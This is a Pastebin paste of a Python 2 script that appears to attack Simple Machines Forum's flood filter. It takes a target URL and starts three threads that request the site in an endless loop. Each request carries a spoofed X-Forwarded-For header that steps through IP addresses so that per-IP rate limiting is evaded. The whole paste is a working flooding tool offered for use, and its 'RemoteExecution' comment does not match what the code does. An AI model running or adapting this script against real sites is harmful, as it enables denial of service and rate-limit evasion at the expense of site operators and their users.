Advertisement
Guest User

SMF Incorrect Flood Filter Headers

a guest
Aug 21st, 2014
293
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.30 KB | None | 0 0
  1. #!/usr/bin/python
  2. # RemoteExecution
  3. #Autor: Daniel Godoy A.K.A hielasangre
  4.  
  5. import sys, threading, time, urllib2,re
  6. print "Ingrese URL: "
  7. url = raw_input()
  8. a = b = c = d = 1
  9. count = 0
  10. class SMFPwner(threading.Thread):
  11.   def __init__(self, num):
  12.       threading.Thread.__init__(self)
  13.       self.num = num      
  14.   def run(self):
  15.     while 1:
  16.         global a,b,c,d,count, url
  17.         data = ""
  18.         while 1:
  19.             while 1:
  20.                 if d!=250:
  21.                     d+=1
  22.                 else:
  23.                     if c!= 250:
  24.                         c+=2
  25.                         d=0
  26.                     else:
  27.                         if b!=250:
  28.                             c=0
  29.                             d=0
  30.                             b+=1
  31.                         else:
  32.                             a+=1
  33.                             b=0
  34.                             c=0
  35.                             d=0
  36.                 head = str(a)+'.'+str(b)+'.'+str(c)+'.'+str(d)
  37.                 headers = { 'X-Forwarded-For' : head }
  38.                 req = urllib2.Request(url, data, headers)
  39.                 f = urllib2.urlopen(req)
  40.                 count += 1
  41.                 print "[ Visitando => " + url + " Por " + str(count) +" vez ]"
  42. for i in range(3):    
  43.  ta = SMFPwner(i)
  44.  ta.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement